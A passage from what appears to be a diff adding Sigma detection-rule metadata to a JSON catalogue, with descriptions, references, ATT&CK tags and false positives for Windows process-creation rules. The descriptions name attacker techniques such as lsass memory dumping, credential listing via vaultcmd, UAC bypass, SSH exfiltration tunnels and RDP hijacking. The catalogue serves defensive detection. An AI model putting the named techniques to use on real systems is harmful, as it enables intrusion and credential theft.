"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_shutdown.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Splwow64.exe process without any command line parameters", + "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", + "value": "Suspicious Splwow64 Without Params", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_susp_splwow64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", + "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", + "value": "Suspicious Spool Service Child Process", + "meta": { + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/07/11", + "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", + "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Possible Squirrel Packages Manager as Lolbin", + "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", + "value": "Squirrel Lolbin", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", + "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/11/12", + "filename": "proc_creation_win_susp_squirrel_lolbin.yml", + "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "1Clipboard", + "Beaker Browser", + "Caret", + "Collectie", + "Discord", + "Figma", + "Flow", + "Ghost", + "GitHub Desktop", + "GitKraken", + "Hyper", + "Insomnia", + "JIBO", + "Kap", + "Kitematic", + "Now Desktop", + "Postman", + "PostmanCanary", + "Rambox", + "Simplenote", + "Skype", + "Slack", + "SourceTree", + "Stride", + "Svgsus", + "WebTorrent", + "WhatsApp", + "WordPress.com", + "Atom", + "Gitkraken", + "Slack", + "Teams" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious SSH tunnel port forwarding to a local port", + "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", + "value": "Suspicious SSH Port Forwarding", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/10/12", + "filename": "proc_creation_win_susp_ssh_port_forward.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", + "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", + "value": "Suspicious SSH Usage RDP Tunneling", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/10/12", + "filename": "proc_creation_win_susp_ssh_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious svchost process start", + "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", + "value": "Suspicious Svchost Process", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2017/08/15", + "filename": "proc_creation_win_susp_svchost.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", + "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", + "value": "Suspect Svchost Activity", + "meta": { + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2019/12/28", + "filename": "proc_creation_win_susp_svchost_no_cli.yml", + "author": "David Burkett", + "level": "high", + "falsepositive": [ + "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", + "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", + "value": "Sysprep on AppData Folder", + "meta": { + "refs": [ + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", + "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2018/06/22", + "filename": "proc_creation_win_susp_sysprep_appdata.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"systeminfo\" command to retrieve information", + "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", + "value": "Suspicious Execution of Systeminfo", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_systeminfo.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", + "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", + "value": "Suspicious SYSTEM User Process Creation", + "meta": { + "refs": [ + "Internal Research", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/20", + "filename": "proc_creation_win_susp_system_user_anomaly.yml", + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "level": "high", + "falsepositive": [ + "Administrative activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Access to Domain Group Policies stored in SYSVOL", + "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", + "value": "Suspicious SYSVOL Domain Group Policy Access", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2288", + "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2018/04/09", + "filename": "proc_creation_win_susp_sysvol_access.yml", + "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", + "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", + "value": "Suspicious Recursif Takeown", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2022/01/30", + "filename": "proc_creation_win_susp_takeown.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects shell32.dll executing a DLL in a suspicious directory", + "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", + "value": "Shell32 DLL Execution in Suspicious Directory", + "meta": { + "refs": [ + "https://www.group-ib.com/resources/threat-research/red-curl-2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_susp_target_location_shell32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", + "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", + "value": "Suspicious Execution of Taskkill", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_taskkill.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", + "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", + "value": "Suspicious Tasklist Discovery Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2021/12/11", + "filename": "proc_creation_win_susp_tasklist_command.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", + "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", + "value": "Taskmgr as LOCAL_SYSTEM", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2018/03/18", + "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a process from Windows task manager", + "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", + "value": "Taskmgr as Parent", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2018/03/13", + "filename": "proc_creation_win_susp_taskmgr_parent.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects DLL injection and execution via LOLBAS - Tracker.exe", + "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", + "value": "DLL Injection with Tracker.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_susp_tracker_execution.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", + "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", + "value": "Process Access via TrolleyExpress Exclusion", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.youtube.com/watch?v=Ie831jF0bb0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/02/10", + "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a tscon.exe start as LOCAL SYSTEM", + "uuid": "9847f263-4a81-424f-970c-875dab15b79b", + "value": "Suspicious TSCON Start as SYSTEM", + "meta": { + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2018/03/17", + "filename": "proc_creation_win_susp_tscon_localsystem.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious RDP session redirect using tscon.exe", + "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", + "value": "Suspicious RDP Redirect Using TSCON", + "meta": { + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2018/03/17", + "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects indicators of a UAC bypass method by mocking directories", + "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", + "value": "TrustedPath UAC Bypass Pattern", + "meta": { + "refs": [ + "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/netero1010/TrustedPath-UACBypass-BOF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2021/08/27", + "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of userinit", + "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", + "value": "Suspicious Userinit Child Process", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1139811587760562176", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2019/06/17", + "filename": "proc_creation_win_susp_userinit_child.yml", + "author": "Florian Roth (rule), Samir Bousseaden (idea)", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of CSharp interactive console by PowerShell", + "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", + "value": "Suspicious Use of CSharp Interactive Console", + "meta": { + "refs": [ + "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127" + ], + "creation_date": "2020/03/08", + "filename": "proc_creation_win_susp_use_of_csharp_console.yml", + "author": "Michael R. (@nahamike01)", + "level": "high", + "falsepositive": [ + "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", + "value": "Detection of PowerShell Execution via Sqlps.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", + "https://twitter.com/bryon_/status/975835709587075072", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", + "author": "Agro (@agro_sev) oscd.community", + "level": "medium", + "falsepositive": [ + "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", + "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", + "value": "SQL Client Tools PowerShell Session Detection", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", + "author": "Agro (@agro_sev) oscd.communitly", + "level": "medium", + "falsepositive": [ + "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", + "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", + "value": "Malicious Windows Script Components File Execution by TAEF Detection", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", + "https://twitter.com/pabraeken/status/993298228840992768", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" + ], + "tags": [ + "attack.t1218" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_susp_use_of_te_bin.yml", + "author": "Agro (@agro_sev) oscd.community", + "level": "low", + "falsepositive": [ + "It's not an uncommon to use te.exe directly to execute legal TAEF tests" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", + "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", + "value": "Malicious PE Execution by Microsoft Visual Studio Debugger", + "meta": { + "refs": [ + "https://twitter.com/pabraeken/status/990758590020452353", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", + "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", + "author": "Agro (@agro_sev), Ensar \u015eamil (@sblmsrsn), oscd.community", + "level": "medium", + "falsepositive": [ + "The process spawned by vsjitdebugger.exe is uncommon." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", + "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", + "value": "Windows Credential Manager Access via VaultCmd", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_susp_vaultcmd.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", + "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", + "value": "Suspicious VBoxDrvInst.exe Parameters", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", + "https://twitter.com/pabraeken/status/993497996179492864", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_win_susp_vboxdrvinst.yml", + "author": "Konstantin Grishchenko, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious inline VBScript keywords as used by UNC2452", + "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", + "value": "Suspicious VBScript UN2452 Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2021/03/05", + "filename": "proc_creation_win_susp_vbscript_unc2452.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands that temporarily turn off Volume Snapshots", + "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", + "value": "Disabled Volume Snapshots", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1354766164166115331", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/01/28", + "filename": "proc_creation_win_susp_volsnap_disable.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate administration" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", + "uuid": "43103702-5886-11ed-9b6a-0242ac120002", + "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load", + "meta": { + "refs": [ + "https://twitter.com/bohops/status/1583916360404729857", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/10/30", + "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", + "author": "bohops", + "level": "medium", + "falsepositive": [ + "False positives depend on custom use of vsls-agent.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", + "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", + "value": "Suspicious WebDav Client Execution", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/17", + "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_susp_webdav_client_execution.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", + "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", + "value": "Windows Suspicious Use Of Web Request in CommandLine", + "meta": { + "refs": [ + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + 